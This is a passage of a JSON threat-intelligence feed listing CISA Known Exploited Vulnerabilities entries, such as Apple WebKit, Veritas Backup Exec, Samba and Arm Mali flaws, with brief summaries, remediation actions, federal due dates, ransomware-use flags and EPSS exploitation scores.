instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48892,"percentile":0.98869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28252","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28252 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28252&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28252, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28205","cveId":"CVE-2023-28205","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Use-After-Free Vulnerability","summary":"Apple iOS, iPadOS, macOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-10","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-10","dueAt":"2023-05-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.27076,"percentile":0.98033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28205","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28205 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-28206","cveId":"CVE-2023-28206","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS IOSurfaceAccelerator Out-of-Bounds Write Vulnerability","summary":"Apple iOS, iPadOS, and macOS IOSurfaceAccelerator contain an out-of-bounds write vulnerability that allows an app to execute code with kernel privileges.","detail":"CISA added this entry on 2023-04-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-10","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-10","dueAt":"2023-05-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23215,"percentile":0.97756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-28206","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-28206 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-28206&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-28206, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1388","cveId":"CVE-2019-1388","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Certificate Dialog Privilege Escalation Vulnerability","summary":"Microsoft Windows Certificate Dialog contains a privilege escalation vulnerability, allowing attackers to run processes in an elevated context.","detail":"CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-07","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-07","dueAt":"2023-04-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08589,"percentile":0.95041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1388","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1388 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27876","cveId":"CVE-2021-27876","aliases":[],"kind":"vulnerability","title":"Veritas Backup Exec Agent File Access Vulnerability","summary":"Veritas Backup Exec (BE) Agent contains a file access vulnerability that could allow an attacker to specially craft input parameters on a data management protocol command to access files on the BE Agent machine.","detail":"CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-07","updatedAt":null,"regions":["Global"],"vendor":"Veritas","product":"Backup Exec Agent","stacks":["Veritas","Backup Exec Agent"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-07","dueAt":"2023-04-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13518,"percentile":0.96423,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27876","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27876 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27876&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27876, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27877","cveId":"CVE-2021-27877","aliases":[],"kind":"vulnerability","title":"Veritas Backup Exec Agent Improper Authentication Vulnerability","summary":"Veritas Backup Exec (BE) Agent contains an improper authentication vulnerability that could allow an attacker unauthorized access to the BE Agent via SHA authentication scheme.","detail":"CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-07","updatedAt":null,"regions":["Global"],"vendor":"Veritas","product":"Backup Exec Agent","stacks":["Veritas","Backup Exec Agent"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-07","dueAt":"2023-04-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.6491,"percentile":0.99241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27877","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27877 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27878","cveId":"CVE-2021-27878","aliases":[],"kind":"vulnerability","title":"Veritas Backup Exec Agent Command Execution Vulnerability","summary":"Veritas Backup Exec (BE) Agent contains a command execution vulnerability that could allow an attacker to use a data management protocol command to execute a command on the BE Agent machine.","detail":"CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-07","updatedAt":null,"regions":["Global"],"vendor":"Veritas","product":"Backup Exec Agent","stacks":["Veritas","Backup Exec Agent"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-07","dueAt":"2023-04-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.23952,"percentile":0.97822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27878","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27878 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27878&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27878, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-26083","cveId":"CVE-2023-26083","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Information Disclosure Vulnerability","summary":"Arm Mali GPU Kernel Driver contains an information disclosure vulnerability that allows a non-privileged user to make valid GPU processing operations that expose sensitive kernel metadata.","detail":"CISA added this entry on 2023-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-07","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-07","dueAt":"2023-04-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01218,"percentile":0.68414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-26083","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-26083 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-26083&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-26083, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-27926","cveId":"CVE-2022-27926","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability by allowing an endpoint URL to accept parameters without sanitizing.","detail":"CISA added this entry on 2023-04-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-04-03","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-04-03","dueAt":"2023-04-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17634,"percentile":0.97128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-27926","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-04-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-27926 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-27926&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-27926, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-3163","cveId":"CVE-2013-3163","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability that allows remote attackers to execute code or cause a denial of service via a crafted website.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70676,"percentile":0.9939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-3163","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-3163 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-3163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-3163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-7494","cveId":"CVE-2017-7494","aliases":[],"kind":"vulnerability","title":"Samba Remote Code Execution Vulnerability","summary":"Samba contains a remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share and then cause the server to load and execute it.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Samba","product":"Samba","stacks":["Samba"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99448,"percentile":0.99942,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-7494","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-7494 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-7494&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-7494, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30900","cveId":"CVE-2021-30900","aliases":[],"kind":"vulnerability","title":"Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability","summary":"Apple GPU drivers, included in iOS, iPadOS, and macOS, contain an out-of-bounds write vulnerability that may allow a malicious application to execute code with kernel privileges.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS, iPadOS, and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS, iPadOS, and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05204,"percentile":0.92428,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-30900","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-30900 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-30900&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-30900, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22706","cveId":"CVE-2022-22706","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Unspecified Vulnerability","summary":"Arm Mali GPU Kernel Driver contains an unspecified vulnerability that allows a non-privileged user to achieve write access to read-only memory pages.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01062,"percentile":0.64368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22706","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22706 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22706&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22706, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-3038","cveId":"CVE-2022-3038","aliases":[],"kind":"vulnerability","title":"Google Chromium Network Service Use-After-Free Vulnerability","summary":"Google Chromium Network Service contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium Network Service","stacks":["Google Chrome","Google","Chromium Network Service"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24925,"percentile":0.97897,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-3038","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-3038 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-3038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-3038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-38181","cveId":"CVE-2022-38181","aliases":[],"kind":"vulnerability","title":"Arm Mali GPU Kernel Driver Use-After-Free Vulnerability","summary":"Arm Mali GPU Kernel Driver contains a use-after-free vulnerability that may allow a non-privileged user to gain root privilege and/or disclose information.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Arm","product":"Mali Graphics Processing Unit (GPU)","stacks":["Arm","Mali Graphics Processing Unit (GPU)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18461,"percentile":0.9722,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-38181","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-38181 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-38181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-38181, scored 2026-10-25. This is a model estimate, not proof of 